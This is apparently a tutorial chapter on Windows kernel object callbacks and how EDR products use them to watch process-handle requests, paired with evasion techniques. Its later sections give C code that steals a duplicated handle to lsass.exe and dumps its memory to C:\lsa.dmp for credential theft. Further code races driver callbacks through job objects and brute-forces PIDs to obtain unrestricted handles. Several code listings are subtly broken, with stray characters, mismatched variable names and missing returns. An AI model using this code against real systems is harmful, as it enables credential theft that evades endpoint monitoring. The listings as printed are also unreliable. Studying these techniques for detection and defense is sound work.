Object Notifications
Chapter 4
Objects are a way to abstract resources such as files, processes, tokens, and registry keys. A centralized broker, aptly named the object manager, handles tasks like overseeing the creation and destruction of objects, keeping track of resource assignments, and managing an object’s lifetime.
In addition, the object manager notifies registered callbacks when code requests handles to processes, threads, and desktop objects. EDRs find these notifications useful because many attacker techniques, from credential dumping to remote process injection, involve opening such handles.
How Object Notifications Work
EDRs can register an object-callback routine using a single function, nt!ObRegisterCallbacks().
Registering A New Callback
The registration function requires only two pointers as parameters: the CallbackRegistration parameter, which specifies the callback routine itself and other registration information, and the RegistrationHandle, which receives a value passed when the driver wishes to unregister the routine.
The OB_CALLBACK_REGISTRATION structure definition:
typedef struct _OB_CALLBACK_REGISTRATION {
USHORT Version;
USHORT OperationRegistrationCount;
UNICODE_STRING Altitude;
PVOID RegistrationContext;
OB_OPERATION_REGISTRATION *OperationRegistration;
} OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION;
The version of the object-callback registration will always be OB_FLT_REGISTRATION_VERSION (0x0100).
The OperationRegistrationCount member is the number of callback registration structures passed in the OperationRegistration member, and the RegistrationContext is some value passed as is to the callback routines whenever they are invoked and is set to null more often than not.
The Altitude member is a string indicating the order in which the callback routines should be invoked. A pre-operation routine with a higher altitude will run earlier, and a post-operation routine with a higher altitude will execute later. See more here. You can set this value to anything so long as the value isn’t in use by another driver’s routines.
This registration function centers on its OperationRegistration parameter and the array of registration structures it points to. Each structure in this array specifies whether the function is registering a pre-operation or post-operation callback routine. This structure’s definition is:
typedef struct _OB_OPERATION_REGISTRATION {
POBJECT_TYPE *ObjectType;
OB_OPERATION Operations;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION;

Monitoring Process Handle Requests
EDRs commonly implement pre-operation callbacks to monitor new and duplicate process-handle requests. While monitoring thread and desktop handle requests can also be useful, attackers request process handles more frequently, so they generally provide more relevant information.
PVOID g_pObCallbackRegHandle;
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
NTSTATUS status = STATUS_SUCCESS;
OB_CALLBACK_REGISTRATION CallbackReg;
OB_OPERATION_REGISTRATION OperationReg;
RtlZeroMemory(&CallbackReg, sizeof(OB_CALLBACK_REGISTRATION));
RtlZeroMemory(&OperationReg, sizeof(OB_OPERATION_REGISTRATION));
--snip--
CallbackReg.Version = OB_FLT_REGISTRATION_VERSION;
CallbackReg.OperationRegistrationCount = 1;
RtlInitUnicodeString(&CallbackReg.Altitude, L"28133.08004");
CallbackReg.RegistrationContext = NULL;
OperationReg.ObjectType = PsProcessType;
OperationReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
OperationReg.PreOperation = ObjectNotificationCallback;
CallbackReg.OperationRegistration = &OperationReg;
status = ObRegisterCallbacks(&CallbackReg, &g_pObCallbackRegHandle);
if (!NT_SUCCESS(status))
{
return status;
}
--snip--
}
OB_PREOP_CALLBACK_STATUS ObjectNotificationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION Info)
{
--snip--
}
In this example driver, we begin by populating the callback registration structure. The two most important members are OperationRegistrationCount, which we set to 1, indicating that we are registering only one callback routine, and the altitude, which we set to an arbitrary value to avoid collisions with other drivers’ routines.
Next, we set up the operation-registration structure. We set ObjectType to PsProcessType and Operations to values that indicate we’re interested in monitoring new or duplicate process-handle operations. Lastly, we set our PreOperation member to point to our internal callback function.
Finally, we tie our operation-registration structure into the callback registration structure by passing a pointer to it in the OperationRegistration member. At this point, we’re ready to call the registration function.
Detecting Object Monitoring
Object monitoring can be detected easily using some WinDbg magic. Object types like nt!PsProcessType are really OBJECT_TYPE structures.
2: kd> dt nt!_OBJECT_TYPE poi(nt!PsProcessType)
+0x000 TypeList : _LIST_ENTRY [ 0xffffad8b`9ec8e220 - 0xffffad8b`9ec8e220 ]
+0x010 Name : _UNICODE_STRING "Process"
+0x020 DefaultObject : (null)
+0x028 Index : 0x7 ''
+0x02c TotalNumberOfObjects : 0x7c
+0x030 TotalNumberOfHandles : 0x4ce
+0x034 HighWaterNumberOfObjects : 0x7d
+0x038 HighWaterNumberOfHandles : 0x4f1
+0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0b8 TypeLock : _EX_PUSH_LOCK
+0x0c0 Key : 0x636f7250
+0x0c8 CallbackList : _LIST_ENTRY [ 0xffff9708`64093680 - 0xffff9708`64093680 ]
The CallbackList entry at offset 0x0c8 is particularly interesting as it points to a LIST_ENTRY structure, which is the entry point of a doubly linked list of callback routines associated with the process object type. Each entry points to an undocumented CALLBACK_ENTRY_ITEM structure.
Typedef struct _CALLBACK_ENTRY_ITEM {
LIST_ENTRY EntryItemList;
OB_OPERATION Operations;
DWORD Active;
PCALLBACK_ENTRY CallbackEntry;
POBJECT_TYPE ObjectType;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
__int64 unk;
} CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM;
The PreOperation member of this structure resides at offset 0x028. We can write a script for WinDbg to enumerate all drivers that are monitoring process-handle operations.
2: kd> !list -x ".if (poi(@$extret+0x28) != 0) { lmDva (poi(@$extret+0x28)); }"
(poi(nt!PsProcessType)+0xc8)
Browse full module list
start end module name
fffff802`73b80000 fffff802`73bf2000 WdFilter (no symbols)
Loaded symbol image file: WdFilter.sys
1 Image path: \SystemRoot\system32\drivers\wd\WdFilter.sys
Image name: WdFilter.sys
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: 629E0677 (This is a reproducible build file hash, not a timestamp)
CheckSum: 0006EF0F
ImageSize: 00072000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
This debugger command essentially says, “Traverse the linked list starting at the address pointed to by the CallbackList member of the nt!_OBJECT_TYPE structure for nt!PsProcessType, printing out the module information if the address pointed to by the PreOperation member is not null.”
Detecting a Driver’s Actions Once Triggered
When some handle operation invokes a registered callback, the callback will receive a pointer to either an OB_PRE_OPERATION_INFORMATION structure, if it is a pre-operation callback, or an OB_POST_OPERATION_INFORMATION structure, if it is a post-operation routine.
These structures are very similar, but the post-operation version contains only the return code of the handle operation, and its data can’t be changed. Pre-operation callbacks are far more prevalent because they offer the driver the ability to intercept and modify the handle operation.
The pre-operation callback structure is shown below:
typedef struct _OB_PRE_OPERATION_INFORMATION {
OB_OPERATION Operation;
union {
ULONG Flags;
struct {
ULONG KernelHandle : 1;
ULONG Reserved : 31;
};
};
PVOID Object;
POBJECT_TYPE ObjectType;
PVOID CallContext;
POB_PRE_OPERATION_PARAMETERS Parameters;
} OB_PRE_OPERATION_INFORMATION, *POB_PRE_OPERATION_INFORMATION;
The Operation handle identifies whether the operation being performed is the creation of a new handle or the duplication of an existing one. An EDR’s developer can use this handle to take different actions based on the type of operation it is processing.
If the KernelHandle value isn’t zero, the handle is a kernel handle, and a callback function will rarely process it. This allows the EDR to further reduce the scope of events that it needs to monitor to provide effective coverage.
The Object pointer references the handle operation’s target. The driver can use it to further investigate this target, such as to get information about its process.
The ObjectType pointer indicates whether the operation is targeting a process or a thread, and the Parameters pointer references a structure that indicates the type of operation being processed.
The real magic begins once we start processing the structure pointed to by the Parameters member. If the operation is for the creation of a new handle, we’ll receive a pointer to the structure defined as:
typedef struct _OB_PRE_CREATE_HANDLE_INFORMATION {
ACCESS_MASK DesiredAccess;
ACCESS_MASK OriginalDesiredAccess;
} OB_PRE_CREATE_HANDLE_INFORMATION, *POB_PRE_CREATE_HANDLE_INFORMATION;
The two ACCESS_MASK values both specify the access rights to grant to the handle. These might be set to values like PROCESS_VM_OPERATION or THREAD _SET_THREAD_TOKEN, which might be passed to functions in the dwDesiredAccess parameter when opening a process or thread.
The pre-operation notifications give the driver the ability to modify requests; which is why there are two ACCESS_MASK values.
For example, in order to access lsass.exe, an attacker needs to open a handle with the appropriate rights, so they might request PROCESS_ALL_ACCESS. The driver would receive this new process-handle notification and see the requested access mask in the structure’s OriginalDesiredAccess member. To prevent the access, the driver could remove PROCESS_VM_READ by flipping the bit associated with this access right in the DesiredAccess member using the bitwise complement operator (~). Flipping this bit stops the handle from gaining that particular right but allows it to retain all the other requested rights.
If the operation is for duplication of an existing handle, we’ll get a pointer to the structure defined as:
typedef struct _OB_PRE_DUPLICATE_HANDLE_INFORMATION {
ACCESS_MASK DesiredAccess;
ACCESS_MASK OriginalDesiredAccess;
PVOID SourceProcess;
PVOID TargetProcess;
} OB_PRE_DUPLICATE_HANDLE_INFORMATION, *POB_PRE_DUPLICATE_HANDLE_INFORMATION;
The SourceProcess member is a pointer to the process object from which the handle originated, and TargetProcess is a pointer to the process receiving the handle. These match hSourceProcessHandle and hTargetProcessHandle parameters passed to the handle-duplication kernel function.
Evading Object Callbacks
Evading object callbacks comes into play the most during authentication attacks, such as dumping hashes from lsass.exe. Lsass.exe is heavily guarded by EDRs due to the extensive history of attackers targeting it for dumping credentials.
EDRs rely on three pieces of information passed to their callback routine on each new process handle request: the process from which the request was made, the process for which the handle is being requested, and the access mask, or the rights requested by the calling process.
Defenders can sometimes identify specific attacker tools based on the access masks requested. Many offensive tools request excessive access masks, such as PROCESS_ALL _ACCESS, or atypical ones, such as PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, when opening process handles.
In summary, an EDR makes three assumptions in its detection strategy: that the calling process will open a new handle to lsass.exe, that the process will be atypical, and that the requested access mask will allow the requestor to read lsass.exe’s memory. Attackers might be able to use these assumptions to bypass the detection logic of the agent.
Performing Handle Theft
One way attackers can evade detection is to duplicate a handle to lsass.exe owned by another process. This can be discovered through ntdll!NtQuerySystemInformation() API, which provides an incredibly useful feature: the ability to view the system’s handle table as an unprivileged user. This table contains a list of all the handles open on the systems, including objects such as mutexes, files, and, most importantly, processes.
PSYSTEM_HANDLE_INFORMATION GetSystemHandles()
{
NTSTATUS status = STATUS_SUCCESS;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulSize = sizeof(SYSTEM_HANDLE_INFORMATION);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(ulSize);
if (!pHandleInfo)
{
return NULL;
}
status = NtQuerySystemInformation(
SystemHandleInformation,
pHandleInfo,
ulSize, &ulSize);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(pHandleInfo);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(ulSize);
status = NtQuerySystemInformation(
SystemHandleInformation, 1
pHandleInfo,
ulSize, &ulSize);
}
if (status != STATUS_SUCCESS)
{
return NULL;
}
}
By passing the SystemHandleInformation information class to this function, the user can retrieve an array containing all the active handles on the system. After this completes, it will store the array in a variable of the SYSTEM_HANDLE_INFORMATION structure.
Next, the malware could iterate over the array of handles.
for (DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleInfo->Handles[i];
if (handleInfo.UniqueProcessId != g_dwLsassPid &&
handleInfo.UniqueProcessId != 4)
{
HANDLE hTargetProcess = OpenProcess(
PROCESS_DUP_HANDLE,
FALSE,
handleInfo.UniqueProcessId);
if (hTargetProcess == NULL)
{
continue;
}
HANDLE hDuplicateHandle = NULL;
if (!DuplicateHandle(
hTargetProcess,
(HANDLE)handleInfo.HandleValue,
GetCurrentProcess(),
&hDuplicateHandle,
0, 0, DUPLICATE_SAME_ACCESS))
{
continue;
}
status = NtQueryObject(
hDuplicateHandle,
ObjectTypeInformation,
NULL, 0, &ulReturnLength);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInfo =
(PPUBLIC_OBJECT_TYPE_INFORMATION)malloc(ulReturnLength);
if (!pObjectTypeInfo)
{
break;
}
status = NtQueryObject(
hDuplicateHandle,
ObjectTypeInformation,
pObjectTypeInfo,
ulReturnLength,
&ulReturnLength);
if (status != STATUS_SUCCESS)
{
continue;
}
if (!_wcsicmp(pObjectTypeInfo->TypeName.Buffer, L"Process"))
{
LPWSTR szImageName = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
DWORD dwSize = MAX_PATH * sizeof(WCHAR);
if (QueryFullProcessImageNameW(hDuplicateHandle, 0,
szImageName, &dwSize))
{
if (IsLsassHandle(szImageName) &&
(handleEntryInfo.GrantedAccess & PROCESS_VM_READ)
== PROCESS_VM_READ &&
(handleEntryInfo.GrantedAccess & PROCESS_QUERY_INFORMATION)
== PROCESS_QUERY_INFORMATION)
{
HANDLE hOutFile = CreateFileW(
L"C:\\lsa.dmp",
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0, NULL);
if (MiniDumpWriteDump(
hDuplicateHandle,
dwLsassPid,
hOutFile,
MiniDumpWithFullMemory,
NULL, NULL, NULL))
{
break;
}
CloseHandle(hOutFile);
}
}
free(pObjectTypeInfo);
}
}
}
We first make sure that neither lsass.exe nor the system process owns the handle, as this could trigger some alerting logic. We then call ntdll!NtQueryObject(), passing in ObjectTypeInformation to get the type of the object to which the handle belongs. Following this, we determine whether the handle is for a process object so that we can filter out all the other types, such as files and mutexes.
After completing this basic filtering, get the image name for the process and pass it to an internal function, IsLsassHandle(), which makes sure that the process handle is for lsass.exe. Next, we check the handle’s access rights, looking for PROCESS_VM_READ and PROCESS_QUERY_INFORMATION, because the API we’ll use to read lsass.exe’s process memory requires these.
If we find an existing handle to lsass.exe with the required access rights, we pass the duplicated handle to the API and extract its information. Now we can access lsass without alerting the EDR.
While this technique would evade certain sensors, an EDR could still detect our behavior in plenty of ways. Below shows the object duplication request detection logic:
OB_PREOP_CALLBACK_STATUS ObjectNotificationCallback(
PVOID RegistrationContext,
POB_PRE_OPERATION_INFORMATION Info)
{
NTSTATUS status = STATUS_SUCCESS;
if (Info->ObjectType == *PsProcessType)
{
if (Info->Operation == OB_OPERATION_HANDLE_DUPLICATE)
{
PUNICODE_STRING psTargetProcessName = HelperGetProcessName(
(PEPROCESS)Info->Object);
if (!psTargetProcessName))
{
return OB_PREOP_SUCCESS;
}
UNICODE_STRING sLsaProcessName=RTL_CONSTANT_STRING(L"lsass.exe");
if (FsRtlAreNamesEqual(psTargetProcessName, &sLsaProcessName,
TRUE, NULL))
{
--snip--
}
}
}
--snip--
}
The EDR could determine whether the ObjectType member of the OB_PRE_OPERATION_ INFORMATION structure, which gets passed to the callback routine, is PsProcessType and, if so, whether its Operation member is OB_OPERATION_HANDLE_DUPLICATE.
Using additional filtering, we could determine whether we’re potentially looking at the technique described earlier. We might then compare the name of the target process with the name of a sensitive process, or a list of them.
Racing The Callback Routine
This technique involves requesting a handle to a process before execution has been passed to the driver’s callback routine. There are two separate ways of racing callback routines.
Technique 1 : Creating a Job Object on the Parent Process
The first technique works in situations when an attacker wants to gain access to a process whose parent is known (for example - explorer.exe is the parent process of any application in windows GUI).
int main(int argc, char* argv[])
{
HANDLE hParent = INVALID_HANDLE_VALUE;
HANDLE hIoCompletionPort = INVALID_HANDLE_VALUE;
HANDLE hJob = INVALID_HANDLE_VALUE;
JOBOBJECT_ASSOCIATE_COMPLETION_PORT jobPort;
HANDLE hThread = INVALID_HANDLE_VALUE;
--snip--
hParent = OpenProcess(PROCESS_ALL_ACCESS, true, atoi(argv[1]));
hJob = CreateJobObjectW(nullptr, L"DriverRacer");
hIoCompletionPort = CreateIoCompletionPort(
INVALID_HANDLE_VALUE,
nullptr,
0, 0);
jobPort = JOBOBJECT_ASSOCIATE_COMPLETION_PORT{
INVALID_HANDLE_VALUE,
hIoCompletionPort
};
if (!SetInformationJobObject(
hJob,
JobObjectAssociateCompletionPortInformation,
&jobPort,
sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)))
{
return GetLastError();
}
if (!AssignProcessToJobObject(hJob, hParent))
{
return GetLastError();
}
hThread = CreateThread(
nullptr, 0,
(LPTHREAD_START_ROUTINE)GetChildHandles,
&hIoCompletionPort,
0, nullptr);
WaitForSingleObject(hThread, INFINITE);
void GetChildHandles(HANDLE* hIoCompletionPort)
{
DWORD dwBytes = 0;
ULONG_PTR lpKey = 0;
LPOVERLAPPED lpOverlapped = nullptr;
HANDLE hChild = INVALID_HANDLE_VALUE;
WCHAR pszProcess[MAX_PATH];
do{
if (dwBytes == 6)
{
hChild = OpenProcess(
PROCESS_ALL_ACCESS,
true,
(DWORD)lpOverlapped);
GetModuleFileNameExW(
hChild,
nullptr,
pszProcess,
MAX_PATH);
wprintf(L"New child handle:\n"
"PID: %u\n"
"Handle: %p\n"
"Name: %ls\n\n",
DWORD(lpOverlapped),
hChild,
pszProcess);
}
} while (GetQueuedCompletionStatus(
*hIoCompletionPort,
&dwBytes,
&lpKey,
&lpOverlapped,
INFINITE));
}
}
To gain a handle to a protected process, the operator creates a job object on the known parent. As a result, the process that placed the job object will be notified of any new child processes created through an I/O completion port. The malware process must then query this I/O completion port as quickly as possible (done by GetChildHandles() function here).
In this function, we first check the I/O completion port in a do...while loop. If we see that bytes have been transferred as part of a completed operation, we open a new handle to the returned PID 1, requesting full rights (in other words, PROCESS_ALL_ACCESS).
Real world malware would do something with this handle, such as read its memory or terminate it, but here we just print some information about it instead.
This technique works because the notification to the job object occurs before the object-callback notification in the kernel. In their paper, the researchers measured the time between process-creation and object callback notification to be 8.75–14.5 ms. This means that if a handle is requested before the notification is passed to the driver, the attacker can obtain a fully privileged handle as opposed to one whose access mask has been changed by the driver.
Technique 2: Guessing the PID of the Target Process
The second technique attempts to predict the PID of the target process. By removing all known PIDs and thread IDs (TIDs) from the list of potential PIDs.
void OpenProcessThemAll(
const DWORD dwBasePid,
const DWORD dwNbrPids,
std::list<HANDLE>* lhProcesses,
const std::vector<DWORD>* vdwExistingPids)
{
std::list<DWORD> pids;
for (auto i(0); i < dwNbrPids; i += 4)
if (!std::binary_search(
vdwExistingPids->begin(),
vdwExistingPids->end(),
dwBasePid + i))
{
pids.push_back(dwBasePid + i);
}
while (!bJoinThreads) {
for (auto it = pids.begin(); it != pids.end(); ++it)
{
if (const auto hProcess = OpenProcess(
DESIRED_ACCESS,
DESIRED_INHERITANCE, *it))
{
EnterCriticalSection(&criticalSection);
lhProcesses->push_back(hProcess);
LeaveCriticalSection(&criticalSection);
pids.erase(it);
}
}
}
}
This function indiscriminately requests handles to all processes via their PIDs in a filtered list. If the handle returned is valid, it is added to an array. After this function completes, we can check whether any of the handles returned match the target process. If the handle does not match the target, it is closed.
These techniques' use cases are very specific as it is very challenging to pull off on a real system because most EDRs start their agent process via a service that runs early in the boot order.
Last updated